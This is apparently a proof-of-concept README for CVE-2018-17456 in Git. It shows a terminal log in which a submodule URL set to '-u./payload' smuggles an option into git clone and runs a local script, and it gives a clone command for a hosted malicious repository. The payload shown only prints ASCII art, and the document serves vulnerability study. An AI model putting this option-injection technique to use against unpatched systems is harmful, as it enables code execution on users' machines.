CVE-2018-17456

Vulnerability Overview

Vulnerability Name: Git Input Validation Error Vulnerability
CNNVD ID: CNNVD-201810-234
Hazard Level: Critical
CVE ID: CVE-2018-17456
Vulnerability Type: Input Validation Error
Published Date: 2018-10-08
Threat Type: Remote
Updated Date: 2019-04-25
Vendor: debian
Source: Atlassian, TerryZh...
Vulnerability Description: Git is a free, open-source distributed version control system. There is an input validation error vulnerability in Git. The vulnerability stems from the network system or product failing to properly validate input data. The following versions are affected: Git versions before 2.14.5, 2.15.x versions before 2.15.3, 2.16.x versions before 2.16.5, 2.17.x versions before 2.17.2, 2.18.x versions before 2.18.1, 2.19.x versions before 2.19.1.

Vulnerability Reproduction

Due to GitHub's security mechanism, malicious projects cannot be uploaded, so you can run the script build.sh to construct this project locally for learning and testing.
The version of Git I used is git-2.12.1
The process and result are as follows:

[anonymking@localhost test]$ ./build.sh 
Initialized empty Git repository in /home/anonymking/Desktop/test/CVE-2018-17456-PoC/Submodule/.git/
[master (root-commit) 5b1e97c] submodule
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 hgt_blank
Initialized empty Git repository in /home/anonymking/Desktop/test/CVE-2018-17456-PoC/CVE-2018-17456-PoC/.git/
Cloning into '/home/anonymking/Desktop/test/CVE-2018-17456-PoC/CVE-2018-17456-PoC/exploit:exploit'...
done.
[master (root-commit) ed1914d] CVE-2018-17456
 3 files changed, 6 insertions(+)
 create mode 100644 .gitmodules
 create mode 160000 exploit:exploit
 create mode 100755 payload
git clone --recursive "/home/anonymking/Desktop/test/CVE-2018-17456-PoC/CVE-2018-17456-PoC" des_dir



[anonymking@localhost test]$ git clone --recursive "/home/anonymking/Desktop/test/CVE-2018-17456-PoC/CVE-2018-17456-PoC" test
Cloning into 'test'...
done.
Submodule 'exploit:exploit' (-u./payload) registered for path 'exploit:exploit'
Cloning into 'exploit'...


*********************************************
                   _ooOoo_
                  o8888888o
                  88" . "88
                  (| -_- |)
                  O\  =  /O
               ____/`---'\____
             .'  \\|     |//  `.
            /  \\|||  :  |||//  \
           /  _||||| -:- |||||-  \
           |   | \\\  -  /// |   |
           | \_|  ''\---/''  |   |
           \  .-\__  `-`  ___/-. /
         ___`. .'  /--.--\  `. . __
      ."" '&lt;  `.___\_&lt;|>_/___.'  >'"".
     | | :  `- \`.;`\ _ /`;.`/ - ` : | |
     \  \ `-.   \_ __\ /__ _/   .-` /  /
======`-.____`-.___\_____/___.-`____.-'======
                   `=---='
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
fatal: clone of '-u./payload' into submodule path '/home/anonymking/Desktop/test/test/exploit:exploit' failed
Failed to clone 'exploit:exploit' a second time, aborting

The malicious code I constructed in the payload simply outputs a Buddha, so seeing the Buddha means the test was successful; this output actually appears twice because there is a retry when cloning the submodule fails.

References

Project poc-submodule

Unexpected Discovery

I actually successfully built this project on Coding — CVE-2018-17456
Usage:

git clone --recursive https://dev.tencent.com/u/anonymking/p/CVE-2018-17456/git test

Additionally, I recommend studying two similar vulnerabilities together: CVE-2017-1000117, CVE-2018-11235

CVE-2018-17456

Most Popular

CVE-2018-17456

Vulnerability Overview

Vulnerability Reproduction

References

Unexpected Discovery